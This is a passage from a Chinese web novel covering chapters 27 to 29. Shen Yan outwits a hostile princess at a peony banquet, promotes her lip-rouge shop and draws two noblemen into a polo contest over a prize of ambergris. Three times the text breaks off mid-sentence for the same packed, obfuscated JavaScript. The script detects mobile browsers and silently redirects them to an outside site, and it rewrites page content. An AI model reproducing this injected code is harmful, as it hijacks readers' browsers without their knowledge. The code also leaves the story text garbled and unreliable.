想通此节，她顺着钦国公的话，假意恳请他指正琴音，却趁对方背对着她专注抚琴时，悄不声地脚底抹油，溜之大吉。 沈妍觉得钦国公能叫她“恩人”，可见是个懂得知恩图报的，人想必不会太坏。 而姚府中家姬上千，钦国公尚不知晓她的姓名，加之彼此身份悬殊，料想对方明白自己有意躲着他，多半不会再大张旗鼓地找她了。 后来，一切果然如她所料。 自那之后，沈妍没再去湖边练过曲，也未再见过钦国公。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336430|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不想冤家路窄，今日竟又在这牡丹宴上遇见他。 “拜见钦国公。”她硬着头皮向钦国公偏身施礼。 “难为恩人还记得我。”钦国公声色温和，说话间眼尾微微上扬。 沈妍：“……”您记性还怪好的。 不过在这条人来人往的大路上，被一位国公爷恩人长恩人短的叫，真是要多别扭有多别扭。 “公爷如此称呼，妾实不敢当。”沈妍嘴角抽了抽，说道。 话落，钦国公不以为然地轻“啧”一声：“当初在下不慎落水，若非恩人搭救，这会儿坟头草怕是都有寸把高了。” 此人开口有种油腔滑调的纨绔派头，沈妍几不可察地皱了下眉。 她受的非议已经够多了，实在不想再与钦国公有什么牵扯，于是略加思索道：“公爷本是有福之人，遇事自会逢凶化吉，妾不过赶巧拉了公爷一把，倘若真担了‘恩人’二字，岂非折煞妾身。” 闻言，钦国公眨动着一双桃花眼若有所思：“那好，就依你所言，我不喊你恩人，你也别再叫什么钦国公了，听着怪生分的。在下姓高，名云锡，字玄清，小娘子以后就叫我玄清吧。” 沈妍愣住——这怎么还越说越离谱了？ 而且，这话她哪里敢应？ 口中含混道了句“不敢”，紧接着，便又听见钦国公问她姓名。 “沈妍。”她不敢不答，更不敢在钦国公面前撒谎，只恨不能再次逃出生天，“……您若没有别的吩咐，妾先告退了。” 高云锡神色肉眼可见地黯淡下来，唇角一捺，嘟囔：“小娘子为何每次见面都躲着在下？” 沈妍当然不肯承认：“公爷误会了。” “既如此，那借一步说话？”说着，高云锡已抬脚往一旁的凉亭走去。 钦国公吩咐，沈妍一时没有合适的理由推拒，只得跟过去。 “小娘子既没有躲着在下，那上次在姚府为何招呼不打一声就走了？”他终于翻起旧账。 沈妍听着只觉一个头两个大，讪讪解释：“只因彼时姚府禁止家姬私见外男，妾因为害怕被责罚，这才对公爷失了礼数。” “唔，”高云锡了然点头，“那你打算如何赔罪？” 沈妍：“？” 堂堂一位公爷，怎么这样小气？ 适才她可是连救命之恩都一笔勾销了，钦国公却为这么点小事要她赔罪？ 抬眼却见高云锡好整以暇地双手抱臂，亮晶晶的眸子似笑非笑望着她：“这样吧，等我想到了再告诉你。” 沈妍愈发无语，此时忽听路边有人喊道：“沈娘子。” 她转身朝声音来处望去，今日做东的宰相娘子陈氏正笑盈盈向这边走来。 “原来你在这儿，曲水宴已准备就绪——沈娘子，请吧？”陈氏说着做了个有情的手势，语气热络而不失礼数。 沈妍万没想到，自己竟能得宰相娘子亲自来邀。 只能说，元琛这家伙面子当真不小。 她连忙答应一声，继而不无庆幸地冲高云锡叉手一礼，抬脚随陈氏去了。 凉亭内，高云锡面色一点点僵住：姓沈？ 须臾，他似乎想到什么，哂笑一声，无奈地摇了摇头。 怪不得那么难找…… 当初得知姚府被抄，他曾派人在掖廷、教坊司、各牙行找过沈妍，后来辗转打听到她姓苏，名锦妍。 却原来，她并不姓苏。 对着沈妍的背影默默出了会儿神，高云锡幽幽一叹，用仅有他自己能听到的声音低喃：“缺钱？你可以来找我呀。” 27. 羞辱 陈氏带沈妍前往的曲水宴是专为女宾而设。 沈妍遥遥望见溪畔拉起一道道轻纱帷幔，行至近前，又见纱幔内侧，沿溪畔排布的一块块青石上早已备好了餐具、茶点，其间焚着线香。 此外，还有一班乐伎，坐在溪边奏响泠泠细乐。 宴席荟萃多位名厨，部分菜肴仍由主人预先在白家楼定制，快马加鞭运送过来。 据传，往年单是一道长生粥便足够寻常人家几个月的开销。 而据沈妍所知，此时京城外许多地方，百姓连吃饭都成了问题，常有大批涌至京郊的流民遭到驱离。 官家年过六旬，据说已有多年未曾离开过上都，每日仅在一方奢靡小天地间歌舞升平。 此前朝政全权交由右相姚承嗣打理，在其蒙蔽下，官家不知民怨沸腾，国库岁入几何，以至于各路藩王和地方节度使均在蠢蠢欲动。 沈妍与陈氏来至溪边时，水榭内已聚集了好些有头有脸的贵女，个个打扮得鲜花着锦，摇曳生姿。 这些贵女身旁大都有衣饰体面的婢女仆妇相随，只身前来赴宴的，大约仅有沈妍一人。 “这位是卫王府的沈娘子。”陈氏介绍完沈妍，又将诸宾客一一引荐给她。 沈妍发觉，不管这些人此前背后对她有过怎样的非议、敌视，人前倒都维持着起码的体面，在陈氏引荐下，均一一上前与她相互见礼。 陈氏又去张罗别的女宾，不多时引着一位二八年华的盛装少女来到水榭。 少女由三五名侍女簇拥着前来，沈妍一眼认出，此女正是初入园时神色凌厉盯着她看的那位。 这女子头戴时兴的攒纱芍药花冠，冠侧斜插着一柄彩凤衔珠金步摇，一袭齐胸的妃色襦裙张扬夺目，臂间松挽着泥金撒花画帛，珠玉般的臂膀若隐若现，一眼望去，但觉丰腴白净，雍容华贵。 虽说单论相貌并无多么精致出众，容止间却有种艳压群芳的派头。 “诸位娘子们，快瞧瞧谁来了。”陈氏一面亲热地引着少女上前，一面对众女言道。 少女此前必是京中各路宴饮的常客——水榭内除了沈妍，在座几乎无人不识。 陈氏话音才落，众女一股脑都起身问安，其间有恭恭敬敬道一声平陵郡主的，也有直呼少女闺名莹玉的。 见礼后，又有不少贵女围在少女跟前嘘寒问暖。 沈妍早有耳闻，平陵郡主乃是上都城中数一数二的名门闺秀。 其父韩国公与官家同宗，当年讨伐南诏立下汗马功劳，官家大悦，隆重嘉奖，公府嫡出的子女皆配享食邑。 而这位平陵郡主桓莹玉乃是韩国公唯一的嫡女。 在众女问候声中，桓莹玉幽幽叹了口气，娇声抱怨：“前阵子在剑南可把我憋闷坏了，好不容易回京，又染了一场风寒，延押至今才被母亲放出门来。这还要多亏宰相娘子这场牡丹宴，不然我还不知道要被关到几时。” 陈氏连忙笑道：“能请来郡主这般天仙美人，是我面上有光，就算要谢，也是我该谢郡主才是。” 宾主又彼此客气一番后，桓莹玉的语气有几分意味深长：“要说这牡丹宴，真是一年比一年热闹，受邀的宾客越来越多，这人嘛——” 她说着一顿，视线慢悠悠扫过沈妍，“也是越来越杂了。” 这话传递出明显的不友善，沈妍不会察觉不到，但对方没指名道姓，她便权当没听见。 要是每一句阴阳怪气都要理会，那她今日岂不是要累死？ 陈氏却是个八面玲珑的，哪会不明白桓莹玉的心思？ 但她显然既不想招惹卫世子，也不愿得罪平陵郡主，闻言轻“咳”了一声，含笑招呼众女：“还都站着做什么？时辰差不多了，诸位娘子快请入座吧。” 如此话题岔开，众女应声涌至溪边就座，对平陵郡主的问候也暂时告一段落。 这厢，宾客们安静入座，偶有侍女轻声叮嘱自家主子当心。此外便是潺潺水声，关关鸟鸣与裙裾擦过青石与浅草的声响。 沈妍正由一名侍女引着走向湖边的座位，不远处，桓莹玉的声音再次响起。 “听闻以往姚府家姬个个能歌善舞，每回受邀的男宾出来后均赞不绝口。”她语音轻慢，目光凉飕飕落在沈妍身上，“这位沈娘子独得元将军青眼，想必是个中翘楚？不知我等今日可有这个运气一饱眼福？” 话落，周遭越发安静得出奇，连适才那些细小的响动也没有了。 在座谁人不知，家姬身份低微，而曾在罪臣府内做过家姬，更不是什么光彩事。 桓莹玉当众揭沈妍的短，已出乎众女意料，又叫她当众表演——那是伶人、伎子才做的事，此语已堪称对赴宴者最严重的羞辱。 饶是因沈妍对元琛捷足先登，在座拈酸吃醋者不在少数，但除了桓莹玉，谁也没胆子做得这般过分。 说到底，不能不顾忌沈妍背后之人。 故而，桓莹玉话落，众贵女的反应各有各的微妙：有瞠目结舌的，有切切议论的，有低声嗤笑的，有幸灾乐祸等着瞧好戏的，更多的则是埋头喝茶，佯装没听见…… 众女皆知，平陵郡主之父韩国公如今风头正盛，而反观沈妍，虽出自卫王府，却不过是侍妾身份。 又有谁愿意为一个侍妾冒险得罪平陵郡主？ 如此尴尬微妙的气氛下，沈妍才要开口，忽有一人出言反对。 此女是顾御史的嫡长女，名唤顾婉仪。 方才在水榭，陈氏给众女引荐时，沈妍观其落落大方，言谈得体，故而对她印象颇深。 只听顾婉仪侃侃言道：“这场宴席既取了‘曲水流觞’雅意，重在以诗文较量取乐，歌舞似乎于意不合。” 顾婉仪开口反对，不管出于什么原因，终是替沈妍解了围。 闻言，沈妍不禁向她投去感激的一瞥。 陈氏显然也想就此息事宁人，听了顾婉仪的话，忙讪笑着接口：“正是这个理，我这便叫人送来文房四宝。” 桓莹玉却并未给她们这份情面，慢条斯理道：“不忙，京中姐妹们难得一聚，谁不想见识一下昔日只有男宾才能一睹为快的舞姿？相信沈娘子也不忍心扫大家的兴吧？” 话音落地，溪畔又是一阵静默。 贵女们聚会宴饮，最要紧是“体面”二字。 桓莹玉公然提及沈妍罪臣家姬身份已然不妥，又让她当众献舞，期间甚至两次被岔开话题，依旧不依不饶。 见此情景，饶是一些原本看不惯沈妍的宾客都觉得有些过分了。 席间还有几个人吃过桓莹玉的亏，此时更是默默同情起沈妍。 下一瞬，却见沈妍弯唇一笑，不紧不慢对桓莹玉道：“郡主说得没错，曾经的姚府家姬的确名声在外，去府上做客的男宾也是络绎不绝。” 听她认下桓莹玉的话，众女不禁面面相觑，有几人神色间对沈妍同情更甚。 却又听她话音一转，朗声言道：“比如，令尊韩国公从前便是姚府的常客。” 此语一出，桓莹玉面色陡然僵住，周遭宾客更是纷纷露出讶然之色。 只有沈妍神色如常，继续含笑补充，“是以，妾有幸听闻公爷夸赞郡主弹得一手好琵琶，今日难得郡主有意，既不忍扫大家的兴，不如与妾合演一曲？” 话落，在桓莹玉骤变的脸色中，沈妍好整以暇打量着她，“京中姐妹们难得一聚，郡主该不会不肯赏脸吧？” 好一个以彼之道，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349437|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施彼身！ 话落刹那，陆续有杂音自席间传出，其间还夹杂着几声嗤笑。 桓莹玉这回人真是丢大了，被沈妍当众还击不说，还捎带上了韩国公，尤其适才沈妍说那番话时微妙的语气，辟如长辈之于晚辈，内涵十足。 此宴过后，京城贵女圈中怕是没有比这更有趣的谈资了。 而作为上都第一贵女，桓莹玉从来横行无忌，无人敢与她作对。 这份嚣张做派，时间久了难免会树敌。 席间便不乏与她曾有过节之人，而她们之所以忍气吞声，不过碍于韩国公势大，不敢轻易得罪。 哪想有朝一日，桓莹玉竟被一名小小侍妾怼到脸上。 故而，当下倒有不少人暗暗出了一口恶气。 不能叫板，不代表不能看笑话。 更有几个胆大的，甚至当场嗤笑出声。 可怜桓莹玉本打算令沈妍出丑，结果非但没占到半分便宜，反而搬起石头砸了自己的脚。 当下，桓莹玉恨不能冲上去将沈妍撕碎，却又不甘自折身价，一时间面色青一阵，白一阵，贝齿咬得咯咯响。 桓莹玉身旁一名女使看主子这般，抬手指着沈妍怒斥：“区区贱妾，哪来的脸与郡主相提并论？” 经她这么一吆喝，桓莹玉这才想起什么，厉色喝道：“来人！” 话落，两名女仆从围屏外应声而入。 瞧这二人衣饰打扮，似乎只是寻常女仆，却个个身形矫健，目光精亮，一看便知带着身手， 应该是跟来保护桓莹玉的。 陈氏瞧见这场面，霎时脸色白了白，正要上前阻拦，忽听外面通传：“清河公主驾到——” * 有清河公主在场，桓莹玉不敢造次，只得强压着情绪，暂时屏退女仆。 陈氏见状，微不可察地松了口气。 这边，桓莹玉略坐了一会儿，自觉无趣，加上适才的事又有些下不来面子，如此这般一闹，更没了赏花的兴致，不多时便借故离席了。 事后冷静下来，意识到牡丹宴上那么多双眼睛盯着，她此行又并无准备，总之还是不能在这里将那个侍妾怎样。 曲水宴结束，陈氏正式邀请众女至园中赏花。 诸位女宾大都出自京城名门，不少人早已彼此相识，此时或两两结伴，或三五成行，前往牡丹园，只有沈妍形单影只。 她故意拖延了一会儿，等人走得差不多时才慢吞吞起身。 顾婉仪不知何时来到她身侧，神色和煦道：“不知沈娘子可愿一同赏花？” 沈妍愣了愣，随即缓过神来，道了声好：“谢顾大娘子相邀。” 适才顾婉仪在众人面前替她说话，沈妍已是心存感激，又得对方相邀同行，缓解了她的处境，故而沈妍心中对她更添好感。 * 牡丹园不愧为皇家园圃，园内花卉皆由专门的匠人精心打理，稀世名品多达数十种。 有馨香馥郁的国色，也有各地寻得的名品，匠人培育的新品……满园姹紫嫣红，竞相盛放，令人叹为观止。 众贵女赏花间，忽有粉、白、花、绿……各色蝴蝶，扑闪着翅膀，成群结队向园中飞来。看样子，少说有上百只。 见此罕见奇观，不少贵女忍不住惊叹连连。 “快看，那边来了好多只蝴蝶！” “想必是被园中的牡丹花吸引来，真漂亮！” “可怎么会有这么多只？” “是啊，来的时候还没有……” …… 众女一时都忘了赏花，纷纷注视着蝶群。 片刻终于瞧出端倪，原来这些蝴蝶的目标并非牡丹，而是站在花圃中的一位女子。 28. 表兄 此女正是沈妍。 她站在上百只翩翩飞舞的各色蝴蝶中间，伸出手臂，悠闲地逗弄着一只落在皓腕上的蓝色凤蝶。 此情此景落在周围人眼中，简直活脱脱一幅仙子戏蝶图。 于是，无论站在花圃中的贵人娘子们，还是偶然路过的闲人，均被这幅画面吸引住。 尤其众贵女就在附近，很快纷纷都围上前来。 而沈妍身旁的顾婉仪更是一脸好奇地问她：“沈娘子是否修习了什么秘术？” 沈妍摇摇头，见时机成熟，取出袖中香囊。 既是回答顾婉仪的疑问，也是在对众展示自制的香料，她莞尔：“哪有什么秘术，不过是身上戴着这枚香囊罢了。”说着将香囊递到顾婉仪手中。 果然，眨眼间顾婉仪便成了蝶群新的目标。 此举立时引来更多询问。 “这香囊内放的什么香料？” “为何能吸引蝴蝶？” “要放多少才能引来这么多只？” “安全吗？会不会招来别的小虫？” …… 沈妍于是简单讲述了千髓香的制作与功效，之后顺水推舟，点明自己唇上自制的口脂中也加入了此香。 其实，此前不少贵女已经注意到沈妍今日所涂的唇脂，不只娇润欲滴，还焕发着稀有、好看的色泽，只因与沈妍并不相熟，这才没好意思问出口。 此刻听沈妍提起，都争相上前询问。 沈妍趁机将随身携带的口脂小样分送给诸女。 众贵女看那些口脂小样色泽鲜润多变，每一种还都散发着独特的芳香，凡得到者均爱不释手。 不少贵女先前看沈妍在曲水宴上不畏权贵，敢当众怼桓莹玉，心中已有些佩服。 眼下又得了她的好处，均对沈妍好感倍增，投向她的目光也不由带了几分友善。 沈妍前来赴宴，本就抱着宣传自家货品的目的——若能在上都贵女圈中打开局面，何愁日后她的点绛唇名声不响？ 沈妍：“像这样的口脂，弊店‘点绛唇’内还有很多，诸位娘子若是喜欢，点绛唇随时恭候。”一顿又道，“另有一坛千髓香，妾愿成人之美，拱手相送，只可惜数量有限，这次只能先到先得了。” 话音落下，顾婉仪忙不迭接口：“那我第一个要去捧场。” 御史千金都如此说，余人更是不再矜持。 “也算我一个。” “还有我。” “我也要！” …… * 牡丹园附近一座凉亭内，桓莹玉和她的侍女宝瓶，冷眼注视着适才花圃中所发生的一切。 宝瓶嗤然冷哼一声，嫌恶得皱眉：“处处钻营的商女！” 桓莹玉却慢条斯理：“肯花这么大心思，看来她很在意那家店铺。” 她语气有几分意味深长，宝瓶当即察觉，偏头打量着桓莹玉，阴沉低缓道：“郡主的意思是？” 桓莹玉想起父亲常说“蛇打七寸”，便是要将别人最在意的东西踩在脚下碾碎，所谓“杀人诛心”莫过于此。 对方最在意什么，她便要毁掉什么。 不过是一个小小的侍妾，还不配弄脏她的手——刚好，她有一把再合适不过的刀。 想清楚此节，桓莹玉眯了眯眼，像在询问宝瓶，又像提点：“李胭娘最近在忙些什么？” 宝瓶闻言，眸底寒光一闪，沉声道：“奴婢懂了。” * 同一时间，距牡丹园不远的一个缓坡上，玄衣男子长身而立，将花圃中的景象尽收眼底。 静静注视着被一众环钗围在中心的女子，元琛唇角微微上扬。 有的人就像一颗星子，即使不言不语，亦可引人瞩目，又仿佛一块磁石，轻而易举便可将人紧紧吸引。 片刻后，他耳廓微动。 一位身穿褐色圆领袍的虬髯汉子从缓坡后面走来，他趋步至元琛跟前，正色叉手一礼：“世子。” 元琛略略颔首，开门见山道：“说。” 虬髯汉于是一五一十报告了这段时间沈妍的行踪：她见过何人，发生了何事，可曾被人刁难，可曾遇到什么危险…… 元琛一言不发地听他说完，面色有些难看。 虬髯汉最后言道：“世子放心，属下听见当时情况不妙，已安排人及时将清河公主请了过去。” 元琛似是醒过神，冲虬髯汉略一点头，随即抬手示意他退下。 待虬髯汉走远，元琛眉心微微拧起。 * 缓坡下，桓莹玉提着裙角一路小跑上来。侍女宝瓶跟在她身后，边跑边念叨“郡主慢些”。 桓莹玉却没听见一般，脚步越来越紧。 “表兄。”桓莹玉赶到坡顶已是气喘吁吁，一双杏核眼却神采奕奕，亮晶晶看着元琛。 许多年未见，她这位表兄依旧如山巅终年不化的积雪般清冷出尘。 此外，眼前的他似乎比年少时更多了几分沉稳冷峻。 在桓莹玉看来，那是属于成熟男子的气度，沉稳中自带锋芒，温和里藏着力量，即使这个人一言不发站在那里，对她也是莫大的吸引。 “这些年，表兄一向可好？”待激跳的心绪稍稍平复，她轻声开口，尽量让自己的声音显得正常。 身为现任卫王妃安阳县主崔氏的表侄女，卫王一家前往北境之前，桓莹玉常去府上看望姑母崔氏并由此结识元琛。 当然，对桓莹玉而言，并不只是结识那么简单。 面对着那么一位犹如明玉皓月般年少有为，又无血缘关系的表兄，情窦初开的少女第一眼便心跳如擂，恍然间竟忘了呼吸。 接触渐久，更觉放眼望去，世间男子皆不及他。 只可惜少年却是一块捂不热的冷玉，任凭她如何挖空心思接近示好，元琛始终对她不咸不淡。 后来卫王举家北迁，再难有常驻京城之日，而桓莹玉的父母又视爱女如珍宝，断舍不得放她远嫁。 为此，桓莹玉结结实实痛哭了一场，以为和这位表兄的缘分只能到此为止。 怎料不久前，她得知元琛重返京城，之后还领了京郊龙虎军。 这让她沉寂许久的心再次悸动起来。 唯一美中不足，是听闻最近元琛身边多了个侍妾。 这则消息犹如一根尖刺，狠狠扎在桓莹玉心口，让她神思恍惚，寝食难安。 此刻，收到她的问候，元琛点点头，声音无波无澜：“韩国公府上一切都好？” 只是礼节性问侯公府所有人，并未单独问她，桓莹玉却还是因为这句回应漾起笑容。 一别多年，她有太多话想对表兄说。 她先简略说了之前在剑南的生活，又询问元琛近况，直到察觉他似乎有些心不在焉。 一丝委屈悄悄爬上桓莹玉的眼角眉梢，寻着元琛的视线，她也朝牡丹园望去，随即目光一寒。 ——又是那个侍妾。 像有什么东西触动了心口的倒刺，桓莹玉微微蹙眉，抿了抿唇，终是幽幽开口：“莹玉早就想去探望表兄，不想从剑南回来病了一场，期间我数次托人给府上送去拜帖，却一直能未收到回音——本以为表兄公务繁忙，谁知竟是陷在了温柔乡里。” 话音落下，却如同石沉大海，元琛没有立刻接她的话，面上也瞧不出情绪。 桓莹玉有些不甘心，继续言辞恳切：“表兄是元氏嫡长子，表姑丈最为器重的儿子，将来正经要娶一位名门闺秀。莹玉说句不当说的，尚未娶妻，却宠幸一个贱婢，只怕于名声有损。” 这次，话音未落，元琛面色却沉冷下来，语气也似凝了冰霜：“既知不当说，便不要开口。” 一顿，他又道，“沈妍不是什么贱婢，下次说话放尊重些。”最后一句，带着明显的警告意味。 桓莹玉听得心头一颤，寒意窜上后脊，双颊却是火辣通红一片，仿佛被人甩了一记耳光。 喉头又堵又涩，她缓了几息才又开口道：“表兄与那女人才相识多久？竟胜过我们从小到大的情意？” 仿佛诧异她如此说，闻言，元琛慢慢掀起眼皮睨了她一眼，继而淡道：“那不一样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369777|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪里不一样？”桓莹玉声音已经带出了哭腔，“表兄难道忘了，当年在京中……表姑母曾说过什么？” 彼时，崔氏为撮合桓、元两家，乱点鸳鸯谱的事，元琛倒并没忘记，但也从未放在心上。 只当是一句不合时宜的客套话，他拒绝之后便将此事翻了篇。 “孩提时的一句玩笑话，岂可当真。”他答得有些漫不经心，仿佛所言之事与己无关。 桓莹玉闻言羞恼更甚，紧抿朱唇，眼眶涨得通红。 正要发作，一眼瞥见元琛的神色，却不禁愣住。 只见那张自始至终并无太多情绪的玉颜，不知何时已变得阴云密布，好像下一瞬便会有什么可怕的事发生。 ——是她刚刚太心急，说错话了吗？ 觑着元琛脸色，桓莹玉终是有些后怕，岔开了话题：“算了，好不容易才见面，不提那些旧事了。” 说着，她一指山坡下某处，“表兄快看，要打马球了——我二兄也在。昨日他还说想看你球技有无长进，表兄去帮我赢个头彩回来可好？” 最后一句，她放软了语气，几乎是半撒娇半央求地说，实则只为转移元琛的注意，并未奢望他真能听得进她的话。 怎料话音才落，元琛紧接着回了句“好”，言罢迈开长腿，毫不犹豫地往球场方向走去。 桓莹玉盯着那道颀长高挺的身影愣了愣，一时又觉惊喜，又感意外。 “世子从不屑与京中纨绔打球，这次肯为郡主出手，足见郡主在世子心里的位置。”旁边，宝瓶凑上前，在桓莹玉耳边小声道。 见桓莹玉若有所思，宝瓶又道：“其实郡主没必要同那个贱妾置气，说白了，只是一个下人而已。世子年少有为，又身居高位，怎会连远近亲疏都分不清楚。” 她说话间，桓莹玉缓缓吐出一口浊气，痴望着元琛的背影，暗淡的眸色渐渐莹亮。 * 元琛的确突然有了和人球场上一较高下的冲动，却并非为了桓莹玉。 大约半炷香前，就在桓莹玉期期艾艾念叨旧情时，元琛一眼望见不远处站在拱桥上的一男一女。 ——是高云锡和沈妍。 在桓莹玉絮絮叨叨的声音里，元琛视线蓦地凝住。 那二人显然早已相熟，元琛一眼便能看出。 不只如此，沈妍停下脚步，与高云锡面对面往拱桥上那么一站，俨然就是一对璧人。 细辨之下，元琛甚至能看出高云锡神色缱绻，沈妍则一脸期待地望着他。 这画面在他脑中引起了一阵轰鸣，胸腔内似有团热浪，腾一下被点燃。 随即，他又看见沈妍和高云锡同往马球场走去，耳畔依稀听见桓莹玉对他说了“打球”二字，当即想也未想，道了声“好”。 至于桓莹玉具体都说了些什么，他实则并未听清。 * 不久前，沈妍辞别了顾婉仪和一众贵女，按长庚告诉她的地点，立在拱桥上等元琛。 不多时，一队穿着褐色圆领袍的仆从列队从她身旁经过。为首一人端着一方精美的描金漆盒。 那人甫一靠近，沈妍便闻见一股异香扑鼻而来。 作为擅长制香之人，沈妍立时被那股香气吸引，杏眼闪闪盯着那只漆盒，直到有人伸手在她眼前晃了一下。 “盒子里是龙涎香，据说足有十两重。”高云锡不知何时出现在她跟前说，桃花眼微微弯起，仿佛能看穿她的心思。 沈妍了然点头，目光仍粘在那方精美的盒子上，听见高云锡的话，她眉眼间满是艳羡。 她要是能有这么一块香料，定将其列为镇店之宝，为点绛唇赚足噱头。 前方，高云锡目光探寻地盯着她：“沈娘子想要？” “唔。”沈妍答得心不在焉，回过神来，又连忙摆手。 如此名贵的宝贝，她如何能要得起？ “只是觉得有些好奇罢了。”她讪笑着说。 闻言，高云锡眼尾微挑：“那是马球赛的头奖。优胜者方可获得，不过沈娘子若喜欢，在下不才，愿为佳人一试。” 29. 参赛 沈妍闻言一愣，最后那句，她尚未醒过味来，高云锡忽朝她挤挤眼，不等她答话，转身大步奔向球场。 马球场内人头攒动，参赛队伍根据腰间的红、蓝缎带分作两班。 一班由韩国公府嫡二公子桓超带队，另一班则由御史大夫顾光庭的嫡长子顾弘逸带领。 由于队伍均是临时组建，此时双方人手都还未齐全。 顾弘逸遥遥望见高云锡朝球场走来，眼前一亮，连忙向他招手，扬声道：“玄清，这边。” 待高云锡走近，顾弘逸含笑调侃：“今日刮的什么风，竟把贤弟给吹来了？” 高云锡挑眉，疏懒地摊摊手：“谁让这次的头奖那么香，小爷我闻着味儿便来了。” 顾弘逸笑得愈发灿烂：“只要贤弟肯加入蓝队，想要天上的月亮，哥哥都给你摘去。” 不久鸣锣开赛，事实很快证明，顾弘逸招揽高云锡入队实乃明智之举。 赛程尚未过半，高云锡一马当先，屡次进球，带着蓝队遥遥领先。 更难得的是，此人除了马术、球技出色，还拥有出色的合作与掌控力，协同队友牢牢控制住局面，如不出意外，蓝队已是稳操胜券。 但意外还是来了。 下半场，红队突然换了元琛上场。 自那之后，任凭蓝队在顾、高二人指挥下，如何对元琛围追堵截，对方愣是神出鬼没，频频出人意料，杀出重围。 而随着马球赛接近尾声，在元琛强势反击下，双方眼看竟要追平比分。 球场中心，元琛纵马挥杆，疾冲向下一球，高云锡瞅准机会，斜刺里攻上前，将对方的球杆架住，语气讥嘲：“不是向来不屑上场？怎么突然改主意了？” 元琛勒马绕开，探身又去击球，淡淡反问：“你不是也在？” 高云锡却抢在元琛击球前，陡然伸臂将球拨开：“想跟我抢头奖？” 眨眼工夫，元琛再次冲到球前：“你说是便是了。” 高云锡不依不饶，在元琛正要挥杆击球之际及时赶上，击中元琛的球杆。 四目相对，二人中间似有火花迸溅。 高云锡冷声道：“你就这么喜欢和人抢东西？” 元琛则寒着脸：“喜欢抢的明明是你。”话未说完，长臂探出，又稳又准地将球击进洞中。 一杆追平比分，元琛视线不自觉看向场外——看台上，沈妍盯着球场一脸失落。 元琛眼神霎时又冷了几分。 附近看台上，眼看元琛又进一球，桓莹玉激动地站起身来，连连拍手叫好。 双手笼在唇边，她忍不住朝元琛大声喊道：“忌平表兄，我要头奖龙涎香！” 大庆民风开化，女子观赛鼓劲，乃至亲自上场打球都不算什么稀罕事。 这边，桓莹玉尖锐的嗓音传入球场，元琛眼波微动。 头奖是龙涎香？ 获知这一消息刹那，元琛脑海中蓦地闪过沈妍时常摆弄的干花、口脂、香团……耳畔随之响起她说想开店的那些话…… 紧接着是拱桥上的高、沈二人……沈妍满含期待地看向高云锡…… 电光石火间，他好像明白了什么。 从前在京中，他和高云锡没少打交道。如果这几年高云锡身上没发生什么重大变故，那么他和自己一样，应该也不会现身球场…… 身侧，高云锡再次朝他纵马驰来。他眼神坚定，仿佛誓要拼个你死我活。 元琛似是一怔，便在此时，高云锡动作迅捷地击中彩球。 球体划着漂亮的弧线飞入洞中。 比赛结束。 * 球场边，元琛解下腰间缎带，视线再次瞟向场外。 果然看见高云锡将装有龙涎香的漆盒递给沈妍。 后者盯着漆盒，眼中似要放出光来。 元琛轻嗤一声，心头却是一松。 然而接下来的一幕却又让他不淡定了。 只见沈妍感激地向高云锡深福下去，后者低眸望着她，满满宠溺就差从脸上溢出来…… 看着这一幕，元琛神色一点点僵住，胸口仿佛挨了一拳，窒闷难当。 而他的表情落在桓莹玉眼中，却成了另外一种含义。 “一块香料而已，表兄不必放在心上。”她不声不响地来到元琛跟前，柔声安慰。 话落，元琛面色更难看了。 “谁说我会放在心上？”他黑着脸闷声撂下这句，提步离开。 桓莹玉不明所以，怔望着元琛与她错身而过，她张了张嘴似乎想再说些什么，却终是被那道宛若淬冰的背影堵了回去。 直到元琛走出去老远，桓莹玉才小声嘀咕：“表兄何时变得如此在意输赢了？” 这话她像对身旁的宝瓶说，又像自言自语，“早知道就不撺掇他打什么马球了。” * 看台旁，高云锡和沈妍站着说了一会儿话，忽觉背后有道凉飕飕的视线。 他过转头，毫不意外地对上元琛的目光。 两个男人之间的事，高云锡并不打算惊动沈妍。 于是告别了眼前人，他径直朝元琛走去。 “忌平兄，承让。”笑眯眯来到元琛跟前，高云锡觑着他并不怎么好看的脸色拱了拱手。 后者不屑地轻嗤一声：“你帮我的侍妾赢下大礼，我该替她谢你才是。”清冷的声线听得高云锡浑身难受。 好大一股醋味！ 听上去还真像那么回事似的，哼，当他高云锡是三岁的孩童？ 后面的话高云锡既是存心打探，也有些想揭穿元琛的底细：“别同我演戏了。”他唇角一斜，凉笑，“什么侍妾？你只是利用沈娘子而已。相识那么多年，你元忌平是什么人，难道我不清楚？” 元琛面上依旧没有波澜，低闷的声音却难掩怒意：“谁告诉你我只是利用她？” “我的眼睛。”高云锡指着他那双桃花眼，左边的眉梢挑了挑。 